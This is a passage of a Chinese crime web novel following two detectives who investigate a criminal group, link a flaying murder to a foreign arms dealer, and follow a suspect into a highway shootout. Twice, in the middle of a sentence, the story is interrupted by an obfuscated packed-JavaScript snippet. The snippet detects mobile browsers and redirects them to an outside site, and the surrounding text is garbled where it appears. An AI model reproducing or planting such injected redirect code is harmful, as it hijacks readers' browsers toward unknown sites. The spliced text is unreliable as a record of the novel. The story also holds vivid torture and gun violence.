“有些人是以前遇到过一些事情,比如我以前有个大学同学,她曾经看到过有人用沸水把一只流浪猫活活烫死。从那以后,人类对动物的行为是否过于残忍,就成了她特别关注的议题,非常敏感,并且越来越敏感,到最后不接受任何辩解,她的对抗心理越来越严重。”罗誉也拿了个夹子翻肉,顺手往烤盘上加了两个口蘑。 “虐杀动物的行为,目前在法律层面还有很多问题需要解决……”陈登说到一半,顿了顿。他提到了虐杀,瞬间想到了白天的恐怖场面,一下子,筷子上的牛上脑都不香了。 罗誉几乎是立刻发现了陈登情绪上的变化。“怎么了?” 陈登把牛上脑放回酱料盘子,皱了皱眉,“没什么,就是想到虐杀什么的,挺恶心人的。人怎么能做出这种事儿!” 罗誉看他大概一时间也没那么想吃肉了,往烤盘上又加了几片土豆和红薯,顺手又把烤到正好的口蘑放到了他的餐盘中。“会去动手虐杀的人,心理上已经不能属于正常守序的人群。又不是古代,特定条件下允许一些暴虐的刑罚。只能说现代社会中,还会实施虐杀行为的,都是变态。” “对!”发小就是自己的嘴替,说得太对了!口蘑还挺香的! “你说到这个,我倒是想起来以前听客户说过一个故事,印象深刻。或者说,他说的是一个人。”罗誉放下烧烤夹子,拿起筷子夹肉吃了口。 陈登现在就喜欢听他讲故事,好奇宝宝的耳朵已经竖起来了。 罗誉咽下嘴里的食物,把筷子往面前的盘子里一立,开始说:“几年前,我替父亲接待一名客户,他是个走南闯北的人,本性就喜欢到世界各地去看看没见过的,就像吉普赛人那样。他还很健谈,喜欢给别人主动分享他的旅途见闻。有一天,他对我提到,他曾去过一个国家,在那里有个可怕的男人,非常有名。” “他的性情极其暴戾,喜怒无常。偏偏这种人对身边的人和事都有着极为强烈的控制欲,以至于他身边的人都只能战战兢兢地活着。”说到这儿,罗誉停住了,似乎在犹豫还要不要说下去。 陈登承担起了烹饪的任务,催他,“那个吉普赛哥们儿就没说这个人到底做过什么暴戾的事儿?” 罗誉放下筷子,擦了擦嘴,继续说:“首先,客户不是吉普赛人,他只是像吉普赛人那样到处漂泊。其次,他说了,但可能不太适合吃饭的时候说。” 陈登谴责地看着他,“裤子都脱了,你就让我看这……” 罗誉笑喷出来,无奈地说:“是你让我说的!” “对对对,我让你说的!快说快说!” “那个男人,很多人都认为他在好多年前就已经疯了。由于他的个性太难以相处,他的妻子移情别恋,想要和别的男人私奔,但是被男人发现了,没能跑成,连同奸夫一起被抓了起来。奸夫是男人的好友。然后……”罗誉下意识咽了咽口水,“然后男人认为自己遭受了不可饶恕的背叛,亲手将这对男女杀了,很残忍……” 陈登撅了撅嘴,说:“其实身为男人,我觉得换了谁碰到自己哥们儿睡了自己老婆这种事,都会疯吧……” 罗誉看着他的眼睛,认真地说:“男人当着奸夫的面,把妻子活生生一片一片地剖开,抽掉骨头。他妻子哀嚎了很久才失血过多而死。然后,男人告诉崩溃的奸夫,妻子是他最爱的人,也是与他最匹配的人,却因为奸夫的背叛而死,奸夫需要为此付出代价。然后,用同样的手法杀了奸夫。” 陈登吃惊!这…… “还不算结束,这个男人对奸夫说的话都是认真的。他后来对自己的儿子、下属,也都是这样说:你的母亲/我的前妻,是最适合我的人,因为一个无耻的叛徒而死,我时常怀念她,我依然深爱着她。” 陈登这会儿不得不承认,这人确实疯了…… “客户说,他在当地成了人人畏惧的对象。而让我印象最深刻的,是那位客户还提到,男人经常说起的一句话:我不能容忍背叛,谁也别想背叛我,否则我会把他像洋葱一样,一片片剥开。” 陈登的眼睛开始瞪大。故事中的男人,行为逻辑太诡异,但更让他头皮发麻的是他对杀让人手法的形容,宛如一道闪电穿过大脑!剥开洋葱一样! 刘艳的尸体,也是这样,一片一片。有些地方的骨头被生硬地抽出,放在不远处,血肉被切割开,但避开了大血管……洋葱…… 陈登半晌没吭声,罗誉垂眼嘟囔:“是你让我说的,恶心你自己忍着。” 陈登艰难地问:“你那客户说的男人是谁?有说名字么?” 罗誉难以置信地看着他,“不是国内的人,你管不了,而且是好多年前的事儿了……” 陈登打断他,“你先告诉我,这男人是谁。” 罗誉无奈,“我记得是说联邦国的,好像是个毒贩还是什么人,反正是个很厉害的罪犯。” “联邦的……还有没有别的信息?还有没有提这个男人其他的事?” “别的……没有了,客户就是给我讲有这么可怕的一个人。”罗誉回忆了一下后说道,“怎么了?你对这人感兴趣?” 陈登眼里闪着光,兴奋劲儿明显不像被故事里的残忍恶心到。他觉得今晚的烤肉不太香,但今晚可能又有了点意外发现。 DNA检测结果证实,被当成洋葱切了的女人正是刘艳。凶器在现场附近被找到,但没有提取到指纹等有用的生物信息。 陈登将罗誉的故事转述给老王,请他参详,会不会和刘艳的案子有什么关联,老王听了也是脸色一变。好家伙,怎么还扯上联邦国了呢……最近的案子一个比一个糟心。 国际刑警组织的对接人科林斯太太接到这边的咨询,几乎是立刻就知道这说的是谁。 “我知道,我当然知道。上帝啊!这就是个魔鬼!”科林斯太太在回复中充分表现了自己对那个男人的厌恶。“你们说的这个人,叫做诺坎。他曾经是东南亚地区最大的军火走私商。不单是他的前妻,他后来还有个情妇也被他这样杀死。” “科林斯太太,关于诺坎杀妻子和情妇的案子,国际刑警组织是否有相关的资料和文件呢?” “有,但是他妻子那件案子时间太早,存档的信息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615114|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多,倒是情妇的那件案子,资料更全一些。你们需要哪些?” “如果可以的话,我们希望尽量多的资料,谢谢!尤其是,死者遗体的影像资料?” “可以,我记得有遗体的照片记录,资料我都可以在后续通过邮件发送给你们。” “非常感谢!” 当警队收到死者的遗体照片时,即便已经有过一些心理准备,所有人还是震惊了。不仅仅是因为死者死相的可怖,更因为与当前刘艳的遗体状态相似度非常高。 看过照片的人都禁不住头皮发麻。 难道说,“吴先生”就是诺坎? “不不不,亲爱的,这不可能。”科林斯太太很快给出了答复。“他不可能在近期出现在你们那儿。他在八年前已经死了,死于心脏病。” 心脏病! “吴先生”相关案件中,也有心脏病死法! 这些不可能是巧合,“吴先生”和联邦国原军火商诺坎一定存在着某种联系! 至此,大华警方正式向国际刑警组织提出,请求协查“吴先生”的身份信息、活动轨迹,及其集团的资金流动等,帮助确定“吴先生”的真实身份。 散会后,老王接了杯水,拧着眉头思考。他仍有很多问题想不明白,比如“吴先生”究竟为何针对罗誉?如果按照罗誉的说法,“吴先生”集团就是合众国一些富商所豢养的对象。但现在知道“吴先生”和诺坎存在某些关系,这样就有些不合理了,诺坎那种层级的罪犯,是不会被别人豢养的。合作?也不像。能与东南亚的军火走私商合作的合众国资本集团,有什么必要跟罗誉这样的普通企业主过不去,以至于要动用这种手段?怎么说,好像都不太匹配。 再者,老谢又为何夜入酒店接触罗誉?如果“吴先生”是受命于合众国的资本集团,对付罗誉,他有什么必要搞这么多事,这么麻烦?他似乎没有想过要直接干掉罗誉,要不然就没有马程飞什么事儿。 老王正在盘这些的时候,手机响了。 对面传来鼠爷的声音:“你之前让我关注朱大雷,最近他那边儿还真出了点事儿。” “怎么说?” “朱大雷有个女儿,叫朱倩,还在读大学。朱大雷很宝贝这个女儿。前段时间,朱大雷在被你们调查,他没敢回自己常住的别墅,就换到了城南的另一处住着。同时,还把女儿也偷偷送到了城中心一套复式公寓里,父女俩分开住一段时间。” “他这是怕自己身上的事儿连累了女儿吧。”老王感叹,有家室的男人比较能懂这种心情,自己的事儿再难都可以扛,但祸不及家人。 “没错,可是他女儿还是被绑架了,而且很快被撕票。” 老王听了眉头又是一凝。“朱大雷没疯?这事儿几时发生的?为什么没动静?” 鼠爷那边回答得很平静:“朱大雷疯没疯说不准,不正常是肯定的,要不然也不会对外宣称,女儿是生病死的。今天一大清早,朱倩出殡,一点儿没张扬。” “病死的?”老王疑惑,“朱大雷这是被对方吓破胆了?女儿死了都不敢反抗?对方是什么来历有消息么?” “就知道你会问。”鼠爷有些为自己再次成功预判而窃喜,“绑架朱大雷和朱倩的人,都是‘吴先生’的人。” 又是“吴先生”…… 只听鼠爷接着说:“不过对于‘吴先生’,我了解得恐怕不比你们多。这群人很神秘,我之前就发觉他们很难查,特别费手脚。对他们比较了解的人,要么被吓得不敢说,要么已经死了,坟头草老高了。” 老王深深吸了口气,缓缓吐出。“耗子,那个‘吴先生’先是引诱马家兄弟去偷罗誉,后来把他卷进绑架朱大雷的案子,他和罗誉一定有什么我们还不知道的关系,再帮哥哥查查,‘吴先生’为什么总是针对这个罗誉?‘吴先生’手下那个老谢,为什么又会夜入酒店接触罗誉?” “啧!老哥哥,你总给兄弟我出难题。”鼠爷抱怨。 “嗨!这不是只有耗子你能办得成这事儿么!”谁说直男不会哄人,老王这嘴能甜过初恋。 36. 第 36 章 “嗨!这不是只有耗子你能办得成这事儿么!”谁说直男不会哄人,老王这嘴能甜过初恋。 第三十六章不正式的告别 “路易先生,桃源湾别墅的绑架案件调查至今,没有证据证明您和史蒂文先生直接或间接参与了绑架。刚刚我收到通知,公安机关已经撤销了您和史蒂文先生的取保候审。晚些时候走完全部的流程,我会把你们的证件送过来。”文律师在电话中对罗誉说。 “是个再好不过的消息了,非常感谢,文律师。”罗誉笑得温文尔雅。 放下电话,罗誉对横在沙发上百无聊赖的史蒂文说道:“你这到底是怎么了?” 史蒂文趴着,在长沙发上瘫成一张泡发了的海蜇皮似的,半点精神也没有。他现在没有心情回答罗誉的问话,于是默默地把头扭向沙发内侧,还拱了拱。 罗誉无语。员工太中二,时不时陷入自己的小情绪,老板心很累。 史蒂文最近感到很挫败。这在以前是不可想象的,想他驰骋爱河这么多年,所向披靡,未尝败绩……啊!滑铁卢!该死的滑铁卢! 凭借多年的经验,史蒂文能够感受到王琼最近的变化。这个女人竟然对他忽冷忽热起来。史蒂文对这种态度既熟悉又陌生。熟悉的是,以前他甩掉每一任女友,都是从这样的态度转变开始的。陌生的是,这是他海王史蒂文第一次被别人用这种态度对待。 可是到底哪里出了问题? 流程没有出错,节奏……好吧,节奏从一开始就稍微有点儿慢,只是一点点,只有一点点!这可以归结为大华的女人有着美好的传统,她们矜持腼腆。这样的女人反而更可爱,更纯洁,过程中能令海王们更有沉醉感,一旦得手,也更享受! 王琼对他是动过心的!这一点史蒂文非常肯定。她曾经为他送的花感动过,也曾为了他的一些小小的触碰而悸动。可是为什么?现在就变成了一潭死水,怎么都撩不动了呢?大华的女人为什么这么难撩,为什么那么矜持!史蒂文恨恨地想,他恨矜持! 罗誉稍微一想,就知道大概是怎么了。他有些哭笑不 他坐到单人沙发上,假装不以为意,对史蒂文随意地问:“对了,你今天的花呢?” 史蒂文当即跳了起来,怀里的靠枕被狠狠扔在地毯上!“今天没有花!没有!没有什么该死的花!以后也不会再有什么该死的花!” 罗誉的嘴角都快要压不住了。在史蒂文转头来看他时,罗誉迅速垂下眼,遮住幸灾乐祸的眼神,一手假装托腮捂住嘴。史蒂文目不转睛地看着他,目光逐渐幽怨。罗誉抿住嘴唇,他已经很努力了,再看下去他会控制不住抖动的。 史蒂文认命地往沙发背上一靠,又萎靡了。“Louie,大华的女人真是太难追了……” 罗誉终于低下头,捂住嘴的手变成了扶额遮眼,同时,笑得浑身抖起来。 史蒂文欲哭无泪,心死如灰。 罗誉笑够了,拍拍史蒂文,劝说道:“行了,Steven,这本来也不是必须完成的任务。我跟你说过,她们只能是玩物。” 史蒂文欲言又止。是的,罗誉说过,王琼不重要,让他不要在她身上浪费时间。他也想过停止,不再试图接近这个女人,可是,不知什么时候起,好像渐渐生出了不甘心! 史蒂文泡妞什么时候半途而废过?哪有女人能逃过他的手掌心?这不可能!这个女人一定只是在装腔作势,事实上他就差临门一脚了!一定是这样! 他越是觉得自己已经接近成功,就越不甘心就此放弃,越不放弃就越不信自己会失败……史蒂文,你什么时候吃过女人的亏! 罗誉还是第一次在史蒂文身上看到这种神情,这位兄弟在女人身上向来拿得起放得下。“我说,你该不会是……陷进去了吧?” “怎么可能!”史蒂文瞪大眼睛,极力表现自己的“不在乎”。“一个女人而已!” “真不可思议,Steven。”罗誉又开始幸灾乐祸,“你也有今天。” “你有在听我说什么么,Louie?我没有陷进去,她在我眼里什么都不是!” “那你现在这是……少年维特之烦恼?”罗誉调侃起人来也是挺损。史蒂文总是说不过他。 不管怎么说,这样的结果,罗誉还是挺满意的。如果王琼真的被史蒂文得手了,罗誉对陈登反而不好交代。王琼这姑娘头脑不错,运气看来也很好。 “行了,Steven,该做点正事了。”罗誉神色严肃起来。 史蒂文抬眼看他,不太明白。 “警方已经撤销了我们的取保候审。”罗誉对他说。 史蒂文还是没明白。 罗誉好脾气地继续解释:“你说要是我们真的只是合众国的一个普通商人,现在应该怎样?” 史蒂文迷茫地歪了歪脑袋,他怎么知道应该怎样,他从来没做过普通商人。 罗誉深深地做了一个深呼吸…… 就在罗誉拿回所有证件的第二天中午,王琼突然收到前台的消息:总统套房S888的客人正在办理退房手续。 什么玩意儿?! 王琼盯着手机上的消息看了好几遍,心脏不禁开始狂跳。这两人怎么回事?为什么这么突然,毫无预兆? “尽量拖他们一会儿!”王琼给前台发着消息,一边狂按电梯。 王琼火速下楼,电梯打开,正巧门外两位VIP要下地库,等在门外。门内外都是一怔。 王琼干脆没动,微笑颔首向罗誉和史蒂文致意,请他们进来。 电梯门关上。 下地库不需要几秒钟,王琼开门见山。“两位退房了?” 史蒂文还有些纠结要用什么样的态度跟这位姑娘对话,罗誉先开了口。“是的,我们打算这就回国。” 王琼有些惊讶地问:“这么突然?” “是有些突然,临时的决定。” “罗先生,请问是我们的服务……” 王琼还没说完,罗誉笑着接话,“不不,王经理不要误会。酒店的服务非常好,我们都很满意。只是我们收到了公司的消息,那边发生了些事情需要我们回去处理。你也知道我们前段时间不方便回去,现在既然可以走了,就不再拖了。” 王琼表示理解地点点头。 一旁一直没有吭声的史蒂文从进电梯之后,眼角余光就偷偷铆住了王琼。罗誉假装没有看到。 然而王琼在与罗誉对完话之后,就没再说什么。直到电梯到达地库,门再次打开,罗誉向王琼告别,走出电梯,史蒂文终于忍不住转过身来,面对王琼。可他半天没能说出什么话来。 王琼仿佛现在才看到他,然后认真地看着他微笑,就好像他们第一天见面时那样,全然的职业微笑,等待客人的指示。史蒂文甚至有些委屈了。怎么会有女人这样对他! 哼!史蒂文最终也没能说什么,气哼哼地转头冲出电梯。 王琼站在电梯里还是没动。 电梯门合上的那一刻,史蒂文没忍住回头。那个女人,用完美的职业站姿,在电梯门内,给他浅浅地鞠了个躬,电梯门就这样合上了…… 史蒂文也不知道自己是怎么了,这一刻,心头空落落的。 电梯门一合上,王琼就飞快地在手机上拨出了电话号码。 “叔,那两人刚刚在我们酒店办了退房,他们要回合众国。” 老王接到电话,霍然起身!“他们现在在哪儿?” “车刚开出我们酒店的地库。” 老王抬腿往外走。陈登在他起身时就注意到了,但师父直接从他身边走了过去。唔……看来不需要带上我。他这么想着,刚低下头,背后被人一拍。是老王折返回来,拍了拍陈登的背,对他招招手,示意跟上。陈登兔子一样跳起来跟着师父屁颠屁颠往外走。 老王在停车场特意让陈登换了一辆车开。陈登听话照做,师父既然这么说,就一定有他的道理。 “师父,这是去哪儿啊?”陈登发动车子,问副驾的老王。 老王还在翻看手机上的信息,沉吟了一阵,果断说道:“去机场方向。” 陈登一边开车,一边观察师父。看老王难得凝重的脸色,忍不住问:“师父,我们去干什么呀?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615115|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 老王终于把视线从手机上移开,看向陈登。这一时间,他也没想好怎么跟徒弟说……事发突然,这会儿来不及打报告申请调动更多的警员参与行动,毕竟没有证据实施抓捕。他对罗誉的关注和猜测,在现有的证据基础上,其实是过分的。只是老刑警的直觉告诉他,罗誉很奇怪。 陈登开车平稳而迅速,不一会儿就上了绕城。路上的车辆少了许多,老王开始在周围的车辆中寻找什么。 陈登有些疑惑,师父向来有问必答,这还是师父第一次没有回答他的问题。关键是,这个问题有什么不能回答的? 老王今天显得尤其忐忑。陈登又忍不住问:“师父,您是在找车吗?要不要申请交警协助啊?” 老王想了想,还是摇了摇头,“算了。” 就在这时,前方看到一辆黑色商务车。老王眼睛一亮,终于明显地松了口气。 陈登凝神望去,那辆车……那不是阿誉的车么? 老王指着罗誉的车,说:“跟上,别被发现。” 陈登听话地车速稍减,把自己掩藏在其他车后,与罗誉的车保持距离。 “师父,我们是要跟踪那辆黑色商务车?YA66988?” 老王心一横,反正瞒也瞒不住,干脆摊牌。“对。” “那是……” “那是罗誉的车。”老王打断,“我知道,我还知道现在罗誉也在车上。他和那个外国助理要离境。” “啊?”陈登诧异,“不会吧!阿誉没跟我说啊!” “嗞——”的一声振动音提示,是陈登的手机。 老王接过来替他看,上面是罗誉发来的一条微信。 “阿登,我公司那边出了点事,我得先回去处理。这次来K市的行程安排全被打乱了,很多事情没做完,等我处理完那边的事情,会尽快再来。事出突然,没法跟你当面道别了,对不起,下次我来再请你吃汽锅鸡!” “……”陈登有些无语,脑子里也有些乱,“师父,阿誉的取保候审已经撤销了……” “我知道。”老王回答得有点冷淡。 “你还是怀疑他吗?” “我不是怀疑他绑架,我是觉得他还有很多事情不清不楚。登仔,我知道那是你小时候最好的朋友。我也可以告诉你,我现在没有切实的证据,但我还是觉得他有问题。关注他,调查他,也是还他清白的唯一的方式。” 陈登没有反驳师父,他也是警察,这些道理当然都懂。他也相信师父绝不会冤枉了罗誉。只是这一时半会儿,情感上有些接受不了。 “登仔,誉仔如果是清白的,那就最好不过。但如果他真有什么问题,我认为,也应该是你来亲手抓住他。”老王的快乐教育,从不是培养懦夫的。 陈登做了几个深呼吸,一点头,“师父,我明白,不会掉链子的。” 老王欣慰,安慰他:“也不用太担心,今天也就是看看誉仔是什么情况。” 陈登点点头,专心开车,跟上前面那辆黑色商务车。 车子一路从绕城高速开到了机场高速。路上的车辆少了几辆,但大家的目的地都是机场。 黑色商务车内,史蒂文开车,罗誉坐在副驾上。两人都戴着墨镜,遮住泛着冷意的眉眼。 罗誉从副驾前的手套箱内取出一个消音器,拧上手中手枪的枪管,动作娴熟,以至于显得富有韵律。然后他将它放在史蒂文伸过来的手上。 史蒂文单手接过,藏到自己身上,轻笑了一下,说:“Louie,你还记得小酒馆的后巷么?那晚你也是这样把枪递给我。” 罗誉这会儿又从副驾位下抽出一把手枪,旋拧消音器。听他这样说,笑道:“那晚我可没能帮上什么忙。” 史蒂文爽朗地笑:“我是不是没有告诉过你,就是那一晚,我认定你才会是值得跟随的人。” 罗誉一边把枪藏到身上,一边调侃:“因为瘦弱更需要保护?” 史蒂文认真地澄清:“当然不是。就是因为你给我递枪。”他咧开一口白牙又笑起来,“你知道,让boss给我递枪是多有面子的一件事么?” 37. 第 37 章 两人齐齐笑了。 罗誉当然清楚,史蒂文哪句是认真,哪句假正经。这么多年相处下来,他俩也是出生入死过好几回的兄弟了,即便在罗誉最基本、朴素的道德观来看,史蒂文不是好人,但能有这样可以托付后背的交情,依然是一件令人感到幸福的事情。这个世界上,有谁会真正拒绝温暖呢?而他罗誉,如今也不过是飞蛾扑火罢了。 在陈登前面大约二百米的一辆白色轿车开始加速,切到快车道上打算超车的样子。 陈登下意识也跟着想要换一下位置,否则他的车容易被罗誉他们发现。 老王经验丰富,立刻提醒陈登不要做任何操作,保持原速前行。 陈登虽然照做,但还是没明白师父的用意。 很快,他明白了。 高速路上,车辆之间的距离都拉得比较远。可是当白色轿车加速,开始超越黑色商务车时,后方几辆大小车辆也不约而同开始变道和调速。他们不知不觉间对黑色商务车实现了包夹之势。 这一刻,陈登也想到了,“吴先生”! 前面的几辆车缓缓靠近黑色商务车,隐隐开始把黑色商务车往边上别。黑色商务车受到了影响,也开始做出调整,往旁边让。但是又有车别上来。黑色商务车减速,后面的车顶上车屁股。黑色商务车加速,前头在快车道上的车突然侧切变道堵住前路。 几辆车开始纠缠在一起,黑色商务车有些不知所措,越来越靠边。 陈登的车一直匀速,这会儿已经和这些车平齐。陈登有些紧张地侧头去看。 老王一声低喝:“匀速开过去!” 陈登的车超过这些车,匀速继续向前。直到离开那堆车上千米远后,老万才让陈登赶紧加速往前冲。这里是机场高速,往前只有到机场才能掉头。 陈登把油门踩满,风驰电掣。他只希望,阿誉能坚持到他掉头回来找他,希望这一次能来得及! 罗誉他们不是没有看见那辆开走的车,不过这种不相干的路人,快点离开是最好的。恐怕对方本来也想等路人离开再动手,谁知那辆车一直规规矩矩跟在后面。再不动手就到机场了,对方也是没办法,只能在这里发动了。 罗誉和史蒂文并不慌张,这都在他们的计划之中。 几辆车紧紧地贴在黑色商务车的周围,时而试图撞击它的侧面,时而试图截断它的前路。它们正在野蛮地挤压它的空间。 “路人车”离开后,黑色商务车就开始反击,它开始和周围几辆车互相试探跨越边界,以此挣扎出一个活动空间。 这是一场惊心动魄的公路追逐战。双方车辆在高速公路上飞快地穿梭着,你追我赶,互不相让。每当黑色商务车试图突围时,那些围堵的车辆就会迅速变换阵型,将它重新困住。黑色商务车不甘示弱,它不断地寻找突破口,试图摆脱这个危险的局面。 几辆车之间不断碰撞摩擦,侧面早已变得坑坑洼洼,前后保险杠也多灾多难,惨不忍睹,即便如此,双方依旧互不相让。 但终归是黑色商务车势单力薄,纠缠越久,罗誉和史蒂文就越不安全。史蒂文找准时机,猛地加速。然而,就在这时,一辆红色的轿车突然从右侧斜冲出来,与黑色商务车发生了剧烈的碰撞。 黑色商务车瞬间失去了控制,车身剧烈摇晃,最后失控地冲出了高速公路,翻滚着摔进了路边的草丛中。黑色商务车翻滚了几周后,终于停了下来,车身已经严重变形,车窗玻璃碎了一地。 另外的几辆车几乎同时在高速路上急刹停车。此时的机场高速路,安静得只剩下轻柔的风。袭击的车有六辆,从上面陆续下来十几人,个个手里都拿着装上了消音器的枪,显然这些人有备而来,且志在必得。 这些人端着枪靠近四脚朝天的黑色商务车,即便车体损毁严重,他们依然谨慎地靠近。其中两人一左一右,凑近车窗往里看,里面竟然没有人! 就在这时,伴随着三声轻微的“嗤嗤”声,有三人颓然倒下。众人惊觉,迅速散开,各找掩体。 在黑色商务车不远处,罗誉和史蒂文早已藏好自己。两人守株待兔,在最佳的时机,精确打击连伤三人。罗誉和史蒂文事前就定好了策略,尽量不给对方造成死亡,但要伤到丧失战力,所以都尽量往四肢和大关节上打。刚才倒地的其中两人,正是伤在肩膀上,以后连枪都拿不住。 罗誉和史蒂文虽然只有两人,但竟然与对方形成僵持之势。 接下来双方就是一阵激烈的对抗。两边显然都有着丰富的经验,不像一般的土匪那样无脑地浪费子弹。罗誉和史蒂文迅速找到了他们自己的攻击节奏,精确打击加上快速机动的走位,每一枪都非常有效。对方也不是菜鸡,也很快调整了队形,开始组织起自卫反击,人员受伤的速度明显减缓。 可能是战斗太过激烈,谁都没有发现,机场高速上,那辆从他们身边开过去的“路人车”又折返了回来,停在对向车道的路肩上。老王和陈登远远看见一堆车横七竖八停在车道上,得亏他们已经通报了封路段,现在没有车会经过,否则铁定得要出个大型交通事故。 两人将车停在了距离那些车二公里不到的地方,不敢再靠得太近。下车后两人借着高速公路车道中间的绿化带,掩着身形往近处凑。 走近后发现车上都没有人。老王一盘算,人下了车就走不远,一定在附近,但周围安安静静。要找,就只有往高速路两边的山林草丛中去了。车停成这样,人不太可能横穿到左边来,大概率往右侧翻到路基下面去了。 一老一小俩人横穿过来,翻下右边的路基。脚一着地,没有了路基的视线阻碍,俩人就看清了,前面不远处,熟悉的那辆黑色商务车肚皮朝上翻倒在地,高速冲下来在土里形成的拖痕拖得老长,触目惊心。 陈登心里瞬间一凛。这现场就很像是针对罗誉的绑架案了。老王轻拍安抚他,让他先冷静,然后抽出了自己的配枪,领着陈登慢慢往前摸过去。陈登见状,也赶紧拿好自己的配枪。 两人慢慢凑到车前,车里没人,陈登也注意到没有血迹,心下稍安。但是直起身来的老王脸色一变,跟陈登严肃地说:“登仔,情况很复杂,初步预计绑匪超过十人,我们两个肯定不够,你去车里,向队里呼叫支援。” 陈登没有多想,赶紧应了一声,往来的方向走。没走几步回过头来,“师父你……” “哎,我知道,要小心。你快去吧,早去早回就是了,你师父我这点分寸还能没有么?”老王打断他,对他挥挥手,看着宝贝徒弟转身离去。 等徒弟翻身爬过机场高速的围栏,看不到这边了,老王才收起慈祥的笑意,脸上重新换上凝重的神色。 陈登没有看见,在离车不远的地上,有少量的血迹,也有挪动的痕迹。有血,问题就严重了。陈登还不够成熟冷静,还需要历练。老王毫不犹豫选择了先保证徒弟的安全。 顺着这些痕迹,老王在草丛里,发现了一个受伤的男人,伤在肩膀,很明显的枪伤。男人失血有点多,可能也因为肩胛骨被射穿引起的剧痛,人已经处于半昏迷状态,不过一时半会儿是不会有生命危险的。 老王再次在附近搜索起来,很快又发现第二个、第三个……这些人身上都是枪伤,都没有伤在要害部位,要不了命,不过也够受的。老王观察了几人的伤,心中已经有了判断。这是合众国的射击风格。 老王作为资深刑警,往年也参加过不少交流活动。有一年去过一次和合众国同行的交流活动,期间参观了东道主的射击训练场馆。老外们是想展示自家财大气粗的高端设备和场地,老王却关注的是他们正在训练的射击技术。 眼前的枪伤,瞬间把 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另一边,陈登爬上机场高速的路面,就开始狂奔。他的车就在一公里远处,很快的,跑过去用不了太久。对了,他要先想好怎么用最简短的语言,把这边的情况说清楚,向队里申请支援。每一秒钟,都不能浪费! 师父,等我!阿誉,等我! 陈登用最快的速度跑到车里,用车载通讯系统联系警队。通话即将接通的那一刻,他脑中闪过一丝异样,好像有什么不对!但还没等他抓住这个感觉,会话接通,他来不及再细想,赶紧按照之前想好的,向对面请求支援。 直到通话结束,陈登才意识到哪里不对。向队里请求支援,为什么不用更方便的手机? 车里有卫星通讯系统,能更好地保证通讯?虽说这里离市区远了,周围也有不少山体,但临近机场,这边的移动信号基站还是铺设得很到位的,不至于出现手机信号差到无法接通的地步。方便警队定位他们?手机也行。 所以师父为什么让他跑回来用车载系统求援? 老头!该不会! 陈登头皮都要炸了!这老头! 他当即跳起来往回跑,比来时更疯狂地跑。 师父,你可千万别出事啊! 老王从警这么多年,资历越来越深。同期的战友们一个个开始带徒弟,早两年老王没少眼馋。一边眼馋,他一边也观察着,暗暗总结经验教训:如果我带徒弟,我要把他培养成怎样怎样。直到真的带了徒弟,老王只有一个目标:我带徒弟,我要他好好活着。 陈登这孩子,聪敏勤奋,在警校的时候就学得扎实,工作以后结合了实践,更能举一反三,触类旁通。老王并不需要灌输什么,从来也不用催着他干什么。他的成长是有自驱力的,长成只是时间问题。 所以,他要平平安安地活着。 这样,他王敬淳也就没有遗憾了。老王躺在地上,这样想着。血从胸前的伤口中流出,淌到地上,渗到土里。 他想过会有这样一天,从未害怕过。从当刑警第一天开始,就知道或许会有这样一天,每次有战友离去,他就会想自己可能也不远了。 老王很坦然,只是对老伴儿和孩子,多少有些歉疚,这么多年,辛苦了他们。 意识渐渐模糊,随着生命力的流逝,这一生中所经历的各种人和事却仿佛愈渐鲜明,过往的回忆在脑中流淌,老王也不禁有些唏嘘。是不是别人也会这样,要到生命的尽头,才会去回望人生? 老王合上双眼,幸好,他的人生没有那么复杂,遗憾并不太多。 师父!师父! 耳边似乎有呼唤声…… 是登仔吗?这么快回来了吗?太危险了! 老王很想去推他,让他走,罗誉和绑匪还没走远呢,他这样叫唤,会很危险的!但是身体那么冷,手臂那么沉,老王连一根手指都抬不起来,眼睛也睁不开。 登仔…… 老王的意识沉入黑暗。 38. 第 38 章 陈登目眦欲裂! 他赶紧叫了救护车,向队里汇报了新情况,申请武警部队。陈登放下电话,抬头往周围扫视,很快找到一处搏斗痕迹,抬腿往那个方向追去。 陈登全程没有听见枪声,但回到这里后,陆续也发现了几处有人受伤后留下的血迹,量不大,加上老王身上是枪伤,他也想到是枪手用了消音器。受伤的人员有些多,应该是绑匪一方,也就是说,绑匪一方是否持枪尚未可知,至少罗誉和史蒂文是有枪的,并且伤了人。 师父,会是罗誉他们打伤的吗?是意外,还是…… 现场出现了打斗,说明很有可能双方的子弹消耗差不多了。陈登大胆追过去。 果然,没追出多远,就看到了人影,是绑匪一方的人。 陈登掏出配枪,大喝一声:“警察!站住!” 几人是想要把受伤的人带回车里,一看警察来了,带着人不可能跑得快,干脆扔下受伤的人就散开跑了。陈登只有一人,来不及追,只能先把受伤的抓了。 又听到了踩踏在草丛里的脚步声,陈登抬头望去,是罗誉和史蒂文。 天地间的风呼呼地吹,陈登的脑子里只剩下风声。 支援来得不算慢,老王等人被紧急送往医院。 老王的情况是几个人中最严重的,第一时间就被拉进了手术室。 陈登坐在手术室外的椅子上,他也不太好,他听不见别人的声音。 师父的话一句一句,言犹在耳。 登仔,你去车里,向队里呼叫支援…… 你快去吧,早去早回就是了…… 哎,我知道,要小心…… 为什么当时没发现呢?师父向来算无遗策,怎么可能犯这种低级错误,自己为什么没有发现师父是想支开他? 阿登,你先去前面烟酒店打电话报警,那里最近!快…… 